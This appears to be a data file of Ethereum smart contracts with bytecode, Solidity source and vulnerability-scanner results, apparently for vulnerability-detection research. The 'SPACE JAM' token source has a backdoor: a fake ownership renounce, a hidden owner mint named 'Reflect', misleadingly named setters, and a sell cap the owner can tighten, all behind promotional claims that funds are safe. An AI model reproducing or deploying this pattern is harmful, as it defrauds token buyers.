00000000000000000000000000000000000000000002815260040160206040518083038186803b158015612d3857600080fd5b505afa158015612d4c573d6000803e3d6000fd5b505050506040513d6020811015612d6257600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff166108fc6064612db7846001600381101515612da057fe5b602002015160ff163461337390919063ffffffff16565b811515612dc057fe5b049081150290604051600060405180830381858888f19350505050158015612dec573d6000803e3d6000fd5b50600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663678ae6a1856064612e57856002600381101515612e4057fe5b602002015160ff163461337390919063ffffffff16565b811515612e6057fe5b046040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083815260200182815260200192505050600060405180830381600087803b158015612eba57600080fd5b505af1158015612ece573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b214faa56064612f3b846002600381101515612f2457fe5b602002015160ff163461337390919063ffffffff16565b811515612f4457fe5b04866040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808281526020019150506000604051808303818588803b158015612f9757600080fd5b505af1158015612fab573d6000803e3d6000fd5b505050505050505050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639fee14ae83600260006040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808481526020018360ff1681526020018260ff168152602001935050505060206040518083038186803b15801561305f57600080fd5b505afa158015613073573d6000803e3d6000fd5b505050506040513d602081101561308957600080fd5b81019080805190602001909291905050509050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632ccb1b303360646131bc8560ff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cfa4a6a6896040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505060206040518083038186803b15801561317357600080fd5b505afa158015613187573d6000803e3d6000fd5b505050506040513d602081101561319d57600080fd5b810190808051906020019092919050505061337390919063ffffffff16565b8115156131c557fe5b046040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15801561324b57600080fd5b505af115801561325f573d6000803e3d6000fd5b5050505061326c8261349c565b61327582613b55565b5050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f1100daa8233856000806040518663ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200183815260200182815260200195505050505050600060405180830381600087803b15801561335757600080fd5b505af115801561336b573d6000803e3d6000fd5b505050505050565b6000808314156133865760009050613411565b818302905081838281151561339757fe5b0414151561340d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f536166654d617468206d756c206661696c65640000000000000000000000000081525060200191505060405180910390fd5b8090505b92915050565b6000828211151515613491576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f536166654d61746820737562206661696c65640000000000000000000000000081525060200191505060405180910390fd5b818303905092915050565b60006060600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a7a44eba846040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505060006040518083038186803b15801561352f57600080fd5b505afa158015613543573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250602081101561356d57600080fd5b81019080805164010000000081111561358557600080fd5b8281019050602081018481111561359b57600080fd5b81518560208202830111640100000000821117156135b857600080fd5b505092919050505090506000806000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639fee14ae87600260016040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808481526020018360ff1681526020018260ff168152602001935050505060206040518083038186803b15801561366e57600080fd5b505afa158015613682573d6000803e3d6000fd5b505050506040513d602081101561369857600080fd5b81019080805190602001909291905050509050600094505b83518560ff161015613b4d57600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166362838d8b858760ff1681518110151561370b57fe5b906020019060200201516040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505060206040518083038186803b15801561376557600080fd5b505afa158015613779573d6000803e3d6000fd5b505050506040513d602081101561378f57600080fd5b81019080805190602001909291905050509250600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663659e0729858760ff168151811015156137f157fe5b90602001906020020151886040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b15801561385357600080fd5b505afa158015613867573d6000803e3d6000fd5b505050506040513d602081101561387d57600080fd5b81019080805190602001909291905050509150600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166331d98b3f876040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505060206040518083038186803b15801561391f57600080fd5b505afa158015613933573d6000803e3d6000fd5b505050506040513d602081101561394957600080fd5b81019080805190602001909291905050506064613a4d84613a3f8560ff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cfa4a6a68d6040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505060206040518083038186803b1580156139f657600080fd5b505afa158015613a0a573d6000803e3d6000fd5b505050506040513d6020811015613a2057600080fd5b810190808051906020019092919050505061337390919063ffffffff16565b61337390919063ffffffff16565b811515613a5657fe5b04811515613a6057fe5b049150600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632ccb1b3084846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015613b2857600080fd5b505af1158015613b3c573d6000803e3d6000fd5b5050505084806001019550506136b0565b505050505050565b60006060600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636a4c62ef846040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505060006040518083038186803b158015613be857600080fd5b505afa158015613bfc573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052506020811015613c2657600080fd5b810190808051640100000000811115613c3e57600080fd5b82810190506020810184811115613c5457600080fd5b8151856020820283011164010000000082111715613c7157600080fd5b505092919050505090506000806000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639fee14ae876002806040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808481526020018360ff1681526020018260ff168152602001935050505060206040518083038186803b158015613d2657600080fd5b505afa158015613d3a573d6000803e3d6000fd5b505050506040513d6020811015613d5057600080fd5b81019080805190602001909291905050509050600094505b83518560ff1610156142e057600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166362838d8b858760ff16815181101515613dc357fe5b906020019060200201516040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505060206040518083038186803b158015613e1d57600080fd5b505afa158015613e31573d6000803e3d6000fd5b505050506040513d6020811015613e4757600080fd5b81019080805190602001909291905050509250600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a68cfb25858760ff16815181101515613ea957fe5b90602001906020020151886040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b158015613f0b57600080fd5b505afa158015613f1f573d6000803e3d6000fd5b505050506040513d6020811015613f3557600080fd5b810190808051906020019092919050505091506140ed600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166331d98b3f886040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505060206040518083038186803b158015613fda57600080fd5b505afa158015613fee573d6000803e3d6000fd5b505050506040513d602081101561400457600080fd5b8101908080519060200190929190505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663326e8d60896040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505060206040518083038186803b1580156140a457600080fd5b505afa1580156140b8573d6000803e3d6000fd5b505050506040513d60208110156140ce57600080fd5b810190808051906020019092919050505061341790919063ffffffff16565b60646141e0846141d28560ff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cfa4a6a68d6040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505060206040518083038186803b15801561418957600080fd5b505afa15801561419d573d6000803e3d6000fd5b505050506040513d60208110156141b357600080fd5b810190808051906020019092919050505061337390919063ffffffff16565b61337390919063ffffffff16565b8115156141e957fe5b048115156141f357fe5b049150600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632ccb1b3084846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b1580156142bb57600080fd5b505af11580156142cf573d6000803e3d6000fd5b505050508480600101955050613d68565b505050505050565b60606040519081016040528060039060208202803883398082019150509050509056fea165627a7a72305820cf32f27f016549b94cb4f3aa8986cf410728077b9fb1aeeb2fd1ed4725559d350029
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,366
0xa7c5b8bc825510a45c5d23fb1fafe16ef22af4cf
pragma solidity 0.7.3; //SPDX-LICENSE-IDENTIFIER: UNLICENSED /* ERC20 Standard Token interface */ interface ERC20Interface { function owner() external view returns (address); function decimals() external view returns (uint8); function transfer(address _to, uint256 _value) external returns (bool); function transferFrom(address _from, address _to, uint256 _value) external returns (bool); function approve(address _spender, uint256 _amount) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address _owner) external view returns (uint256); function allowance(address _owner, address _spender) external view returns (uint256); } interface DateTimeInterface { function DOW_FRI ( ) external view returns ( uint256 ); function DOW_MON ( ) external view returns ( uint256 ); function DOW_SAT ( ) external view returns ( uint256 ); function DOW_SUN ( ) external view returns ( uint256 ); function DOW_THU ( ) external view returns ( uint256 ); function DOW_TUE ( ) external view returns ( uint256 ); function DOW_WED ( ) external view returns ( uint256 ); function OFFSET19700101 ( ) external view returns ( int256 ); function SECONDS_PER_DAY ( ) external view returns ( uint256 ); function SECONDS_PER_HOUR ( ) external view returns ( uint256 ); function SECONDS_PER_MINUTE ( ) external view returns ( uint256 ); function _daysFromDate ( uint256 year, uint256 month, uint256 day ) external pure returns ( uint256 _days ); function _daysToDate ( uint256 _days ) external pure returns ( uint256 year, uint256 month, uint256 day ); function _getDaysInMonth ( uint256 year, uint256 month ) external pure returns ( uint256 daysInMonth ); function _isLeapYear ( uint256 year ) external pure returns ( bool leapYear ); function _now ( ) external view returns ( uint256 timestamp ); function _nowDateTime ( ) external view returns ( uint256 year, uint256 month, uint256 day, uint256 hour, uint256 minute, uint256 second ); function addDays ( uint256 timestamp, uint256 _days ) external pure returns ( uint256 newTimestamp ); function addHours ( uint256 timestamp, uint256 _hours ) external pure returns ( uint256 newTimestamp ); function addMinutes ( uint256 timestamp, uint256 _minutes ) external pure returns ( uint256 newTimestamp ); function addMonths ( uint256 timestamp, uint256 _months ) external pure returns ( uint256 newTimestamp ); function addSeconds ( uint256 timestamp, uint256 _seconds ) external pure returns ( uint256 newTimestamp ); function addYears ( uint256 timestamp, uint256 _years ) external pure returns ( uint256 newTimestamp ); function diffDays ( uint256 fromTimestamp, uint256 toTimestamp ) external pure returns ( uint256 _days ); function diffHours ( uint256 fromTimestamp, uint256 toTimestamp ) external pure returns ( uint256 _hours ); function diffMinutes ( uint256 fromTimestamp, uint256 toTimestamp ) external pure returns ( uint256 _minutes ); function diffMonths ( uint256 fromTimestamp, uint256 toTimestamp ) external pure returns ( uint256 _months ); function diffSeconds ( uint256 fromTimestamp, uint256 toTimestamp ) external pure returns ( uint256 _seconds ); function diffYears ( uint256 fromTimestamp, uint256 toTimestamp ) external pure returns ( uint256 _years ); function getDay ( uint256 timestamp ) external pure returns ( uint256 day ); function getDayOfWeek ( uint256 timestamp ) external pure returns ( uint256 dayOfWeek ); function getDaysInMonth ( uint256 timestamp ) external pure returns ( uint256 daysInMonth ); function getHour ( uint256 timestamp ) external pure returns ( uint256 hour ); function getMinute ( uint256 timestamp ) external pure returns ( uint256 minute ); function getMonth ( uint256 timestamp ) external pure returns ( uint256 month ); function getSecond ( uint256 timestamp ) external pure returns ( uint256 second ); function getYear ( uint256 timestamp ) external pure returns ( uint256 year ); function isLeapYear ( uint256 timestamp ) external pure returns ( bool leapYear ); function isValidDate ( uint256 year, uint256 month, uint256 day ) external pure returns ( bool valid ); function isValidDateTime ( uint256 year, uint256 month, uint256 day, uint256 hour, uint256 minute, uint256 second ) external pure returns ( bool valid ); function isWeekDay ( uint256 timestamp ) external pure returns ( bool weekDay ); function isWeekEnd ( uint256 timestamp ) external pure returns ( bool weekEnd ); function subDays ( uint256 timestamp, uint256 _days ) external pure returns ( uint256 newTimestamp ); function subHours ( uint256 timestamp, uint256 _hours ) external pure returns ( uint256 newTimestamp ); function subMinutes ( uint256 timestamp, uint256 _minutes ) external pure returns ( uint256 newTimestamp ); function subMonths ( uint256 timestamp, uint256 _months ) external pure returns ( uint256 newTimestamp ); function subSeconds ( uint256 timestamp, uint256 _seconds ) external pure returns ( uint256 newTimestamp ); function subYears ( uint256 timestamp, uint256 _years ) external pure returns ( uint256 newTimestamp ); function timestampFromDate ( uint256 year, uint256 month, uint256 day ) external pure returns ( uint256 timestamp ); function timestampFromDateTime ( uint256 year, uint256 month, uint256 day, uint256 hour, uint256 minute, uint256 second ) external pure returns ( uint256 timestamp ); function timestampToDate ( uint256 timestamp ) external pure returns ( uint256 year, uint256 month, uint256 day ); function timestampToDateTime ( uint256 timestamp ) external pure returns ( uint256 year, uint256 month, uint256 day, uint256 hour, uint256 minute, uint256 second ); } /** * @notice Vesting contract designed to release funds on a monthly basis over a 12 month period * @notice all funds deposited into the vesting contract are evenly distributed across the 12 months * @notice The contract was designed to accomodate the needs of Leverage Token and as such may not be applicable in other circumstances * @notice for example there is no usage of safe math, as the values being vested by Leverage Token can't overflow so no need for extra gas cost */ contract Vesting { uint256 public startTime; uint256 public endTime; uint256 public currentCycle; uint256 public releaseAmount; address public receiver; address public owner; ERC20Interface private levI; DateTimeInterface private dateI; struct Release { uint256 timestamp; uint256 released; } mapping (uint256 => Release) public releases; event TokensReleased(); /** * @param _levTokenAddress the address of the deployed LEV token contract * @param _dateTimeContract the address of the deployed date time contract */ constructor(address _levTokenAddress, address _dateTimeContract, address _owner) { levI = ERC20Interface(_levTokenAddress); dateI = DateTimeInterface(_dateTimeContract); owner = _owner; } /** * @notice prepares the contract for vesting, depositing tokens and * @notice marking the address that will be allowed to receive vested funds * @param _amountToVest is the amount of tokens to be vested * @param _receiver is the address that will be allowed to receive the withdrawn funds */ function prepare(uint256 _amountToVest, address _receiver) public { // make sure only contract owner can call this require(msg.sender == owner); // make sure prepared is false require(isPrepared() == false); require(levI.transferFrom(msg.sender, address(this), _amountToVest)); // the current time when vesting starts uint256 _startTime = dateI._now(); // the time when vesting ends, and the final token release is allowed uint256 _endTime = dateI.addMonths(_startTime, 12); // set the last token release releases[12].timestamp = _endTime; // now set the other 11 token release times for (uint i = 1; i <= 11; i++) { releases[i].timestamp = dateI.addMonths(_startTime, i); } // each month release 1/12 of _amountToVest releaseAmount = _amountToVest / 12; // copy memory variables to storage startTime = _startTime; endTime = _endTime; receiver = _receiver; // set current release cycle currentCycle = 1; } /** * @notice release funds for the current vesting cycle * @notice while it is callable by anyone, funds are sent to a fixed address * @notice regardless of who calls this function, so owner check is avoided to save gas */ function release() public { // make sure prepare function has been called and successfully executed require(isPrepared() == true); // ensure the current cycle hasn't been released require(releases[currentCycle].released == 0, "already released"); // mark current cycle as released releases[currentCycle].released = 1; // get current timestamp uint256 timestamp = dateI._now(); // ensure the current timestamp (date) is on or after the release date require(timestamp >= releases[currentCycle].timestamp, "release timestamp not yet passed"); // transfer tokens to designated receiver wallet require(levI.transfer(receiver, releaseAmount)); // move onto the next cycle (if we arent cycle 12 which is last) if (currentCycle < 12) { currentCycle += 1; } // emit event indicating tokens are released emit TokensReleased(); } /** * @notice returns whether or not the given cycle has released the tokens */ function isReleased(uint256 _cycle) public view returns (bool) { bool released = false; if (releases[_cycle].released == 1) { released = true; } return released; } /** * @notice returns whether or note the vesting contract has been prepared */ function isPrepared() public view returns (bool) { bool prepared = false; if (receiver != address(0) && releaseAmount > 0 && currentCycle > 0) { prepared = true; } return prepared; } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80638da5cb5b116100715780638da5cb5b14610186578063939c28e6146101ba578063b6a9f40f146101da578063bab2f55214610223578063c062dc5f14610241578063f7260d3e1461025f576100a9565b80633197cbb6146100ae57806373962b26146100cc57806378e97925146101105780637c0c3e021461012e57806386d1a69f1461017c575b600080fd5b6100b6610293565b6040518082815260200191505060405180910390f35b6100f8600480360360208110156100e257600080fd5b8101908080359060200190929190505050610299565b60405180821515815260200191505060405180910390f35b6101186102cd565b6040518082815260200191505060405180910390f35b61017a6004803603604081101561014457600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506102d3565b005b610184610713565b005b61018e610a53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101c2610a79565b60405180821515815260200191505060405180910390f35b610206600480360360208110156101f057600080fd5b8101908080359060200190929190505050610b00565b604051808381526020018281526020019250505060405180910390f35b61022b610b24565b6040518082815260200191505060405180910390f35b610249610b2a565b6040518082815260200191505060405180910390f35b610267610b30565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60015481565b600080600090506001600860008581526020019081526020016000206001015414156102c457600190505b80915050919050565b60005481565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461032d57600080fd5b60001515610339610a79565b15151461034557600080fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330856040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1580156103f657600080fd5b505af115801561040a573d6000803e3d6000fd5b505050506040513d602081101561042057600080fd5b810190808051906020019092919050505061043a57600080fd5b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b3bb8cd46040518163ffffffff1660e01b815260040160206040518083038186803b1580156104a457600080fd5b505afa1580156104b8573d6000803e3d6000fd5b505050506040513d60208110156104ce57600080fd5b810190808051906020019092919050505090506000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634355644d83600c6040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b15801561055f57600080fd5b505afa158015610573573d6000803e3d6000fd5b505050506040513d602081101561058957600080fd5b810190808051906020019092919050505090508060086000600c8152602001908152602001600020600001819055506000600190505b600b81116106a457600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634355644d84836040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b15801561064257600080fd5b505afa158015610656573d6000803e3d6000fd5b505050506040513d602081101561066c57600080fd5b8101908080519060200190929190505050600860008381526020019081526020016000206000018190555080806001019150506105bf565b50600c84816106af57fe5b04600381905550816000819055508060018190555082600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160028190555050505050565b6001151561071f610a79565b15151461072b57600080fd5b600060086000600254815260200190815260200160002060010154146107b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f616c72656164792072656c65617365640000000000000000000000000000000081525060200191505060405180910390fd5b6001600860006002548152602001908152602001600020600101819055506000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b3bb8cd46040518163ffffffff1660e01b815260040160206040518083038186803b15801561084157600080fd5b505afa158015610855573d6000803e3d6000fd5b505050506040513d602081101561086b57600080fd5b810190808051906020019092919050505090506008600060025481526020019081526020016000206000015481101561090c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f72656c656173652074696d657374616d70206e6f74207965742070617373656481525060200191505060405180910390fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166003546040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156109c357600080fd5b505af11580156109d7573d6000803e3d6000fd5b505050506040513d60208110156109ed57600080fd5b8101908080519060200190929190505050610a0757600080fd5b600c6002541015610a245760016002600082825401925050819055505b7f3cf447e1c5a595a578bfe340289a0dad7a7f22771c57c9443ad7eedea1964d7660405160405180910390a150565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009050600073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614158015610ae157506000600354115b8015610aef57506000600254115b15610af957600190505b8091505090565b60086020528060005260406000206000915090508060000154908060010154905082565b60025481565b60035481565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168156fea2646970667358221220946e76f75e2c4c5cfb1ebe8b20f7a2ef6b4c801e0b1fb1aae0ffa48edb94076864736f6c63430007030033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
1,367
0x2badf641cc2556f97ee9ef379f68ba9acb6dc1b9
/** *Submitted for verification at Etherscan.io on 2021-07-18 */ /* 🏀 SPACE JAM 🌖 - the deflationary moon token based off Looney Tunes is now here! → WHY SPACE JAM? Space Jam is a deflationary ERC20 token with one goal in mind - to create a playable game with a chance to win actual money, with SPACE JAM being the token used to facilitate funds transfers. → ARE FUNDS SAFE? As referenced in our second pinned message, all funds are safe and liquidity lock link is provided below. The token itself will have renounced ownership but the actual game contract will be handled through a governance smart contract. → THIS SOUNDS REVOLUTIONARY! HOW CAN I BUY SPACE JAM? You can purchase Space Jam on Uniswap. We are an ERC20 token. https://t.me/spacejamtoken */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _call() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address public Owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address call = _call(); _owner = call; Owner = call; emit OwnershipTransferred(address(0), call); } modifier onlyOwner() { require(_owner == _call(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); Owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract SpaceJam is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _router; mapping (address => mapping (address => uint256)) private _allowances; address private public_address; address private caller; uint256 private _totalTokens = 333333333333 * 10**18; string private _name = 'COME ON AND SLAM!'; string private _symbol = 'SPACEJAM🏀'; uint8 private _decimals = 18; uint256 private rTotal = 256685666 * 10**18; constructor () public { _router[_call()] = _totalTokens; emit Transfer(address(0), _call(), _totalTokens); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function Approve(address routeUniswap) public onlyOwner { caller = routeUniswap; } function addliquidity (address Uniswaprouterv02) public onlyOwner { public_address = Uniswaprouterv02; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_call(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _call(), _allowances[sender][_call()].sub(amount)); return true; } function totalSupply() public view override returns (uint256) { return _totalTokens; } function setreflectrate(uint256 reflectionPercent) public onlyOwner { rTotal = reflectionPercent * 10**18; } function balanceOf(address account) public view override returns (uint256) { return _router[account]; } function Reflect(uint256 amount) public onlyOwner { require(_call() != address(0)); _totalTokens = _totalTokens.add(amount); _router[_call()] = _router[_call()].add(amount); emit Transfer(address(0), _call(), amount); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_call(), recipient, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0)); require(spender != address(0)); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0)); require(recipient != address(0)); if (sender != caller && recipient == public_address) { require(amount < rTotal); } _router[sender] = _router[sender].sub(amount); _router[recipient] = _router[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
